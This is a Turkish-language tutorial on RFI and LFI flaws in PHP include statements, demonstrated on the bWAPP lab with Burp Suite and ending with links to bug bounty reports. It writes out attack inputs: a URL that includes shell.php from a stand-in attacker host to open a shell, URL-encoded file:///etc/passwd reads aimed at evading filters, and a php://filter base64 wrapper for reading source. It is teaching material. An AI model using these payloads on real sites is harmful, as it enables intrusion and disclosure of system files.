RFI Ve LFI Vulnerability
Bu iki zafiyeti aynı makalede yazmamızın sebebi aslında aynı yanlışlıktan dolayı ortaya çıkmaları. Bu zafiyetlerin temel nedeni php kodunda ki include kodunun düzgün yapılandırılmaması diyebiliriz. Şimdi sırasıyla anlatıma geçebiliriz. SSRF ile çok benzerlik gösterirler. Ve çok tehlikeli SSRF’te olduğu gibi uzaktan kod yürütmemizi sağlayabilir (RFI), veri tabanlarına ulaşabiliriz.
RFI Nedir Nasıl Test Yapılır?
Remote File Inclusion, php include eksikliği sayesinde uzaktan dosya ekleyerek kod çalıştırmamızı sağlar. Bir url ile örnek verelim
https://alperencoskun.com/index.php?rfi=xx.com/xx.png şeklinde bir url gördüğümüzü varsayalım. Yani php sayfasında xx sitesinden bir veri çekiyor.
Test aşamasına geçtiğimizde shell.php dosyasını enjekte edebilirim. Aşağıdaki gibi bir url hazırlamam yeterli olabilir:
https://alperencoskun.com/index.php?rfi=https://saldirganadres.com/shell.php
Şeklinde kodu yükledikten sonra shell açabilirim. Konuya daha yakından hâkim olmak adına uygulamayı bWAPP üzerinden inceleyelim.
Bunu da BurpSuite paketleri inceleyerek yapabiliriz.
İlk başta basit bir php kodu yazıyoruz çalıştırdığımızda ekrana “allsafe” yazacaktır.
Yukarıdaki gibi basit bir php dosyası oluşturduk. RFI saldırısı için aşağıdaki adımları izleyeceğiz.
/var/www/html/allsafe dizinine bu php dosyasını ekleriz ve Local ağda olduğumuz için service apache2 start ile apache serverimizi başlatıyoruz.
(Gerçek bir Web sitesinde public bir sunucuya ihtiyacımız olabilir, bunu da birkaç saatlik deneme sürümü olan sunucu kiralayan sitelerden temiz edebiliriz.)
Artık hazırız.
Go butonuna tıkladığımda yukarıdaki gibi bir paket geliyor. Language parametresinde de bir php dosyası çalıştırdığını görüyoruz. Peki biz neden manipüle edip araya zararlı dosyamızı yüklemeyelim.
Yukarıda uzaktan bir dosya yükleyerek kod çalıştırmak için yazdık
Php kodunu çalıştırdık ve ekrana “allsafe” yazdırdık. Bunu BurpSuite repeater aracılığıyla yapıp response bölümünden de görebiliriz.
LFI Nedir Nasıl Test Edilir?
LFI (Local File Inclusion), php include kodundan kaynaklanan ve localdeki dosyaları çalıştırmamıza izin verir. RFI açığına göre daha az risklidir. Çünkü dışarıdan herhangi zararlı yazılım yükleyemeyiz. Test aşamasında /etc/passwd şeklinde denemeler ya da file:///etc/passwd şeklinde denemeler yapabiliriz. Örnek olarak bWAPP’ten 2 örnek yapalım.
İlk örnekte file:///etc/passwd deneyeceğiz. Fakat url encoding (farklı encoding deneyebiliriz, amaç filitrelemelere takılmamak) yaparak göndereceğiz ki biraz daha gerçekçi olsun.
Yukarıdaki gibi url encoding yaptık ve manuel ya da BurpSuite paketi manipüle ederek yollayabiliriz.
Gönderdiğimizde başarılı olduk LFI açığını kullanarak file:///etc/passwd çalıştırmış olduk.
Bir de sayfa içerisinde bulunan lang_en.php dosyasına encoding yapmaya zorlatalım. Buradaki amacımız, gerçek web sitelerinde /etc/passwd gibi sayfaları görmemizde farklı bloklamalar bulunabilir. Fakat karşımıza çıkan php sayfasını görebiliyoruz ve bunu bu saldırı ile encoding yaptırıp çalıştırabiliyorsak açığın varlığını doğrulamış oluruz.
php://filter/convert.base64-encode/resource=lang_en.php
Kodu bu şekilde gönderiyoruz.
Yukarıdaki gibi bize base64 kodu gelmiş oldu. Zafiyetin varlığını tespit etmiş olduk.
Bunun dışında zafiyet tespiti için açık kaynak olan php sayfalarını inceleyebiliriz. Yani include("x/y/z/a/b/en_lang.php"); yerine include($page.".php"); şeklindeyse bu sayfa ile ilgili hem RFI hem LFI testler yapılabilir.
Peki Gerçek Web Sitelerinde Laboratuvarlardaki Gibi Çıkar Mı?
Evet bu mümkün daha önce de dediğimiz gibi testlerde encoding yaparak bu daha mümkün hale geliyor. Şimdiye kadar öğrendiklerimiz ile zafiyet tespit etmek mümkün. Gerçek web sitelerinden birçoğu White box kullandıklarından LFI zafiyetlerine ulaşmak daha mümkün hale gelebiliyor.
Birkaç Örnek RFI-LFI Raporları
https://hackerone.com/reports/1189367
https://hackerone.com/reports/895972
https://hackerone.com/reports/1419213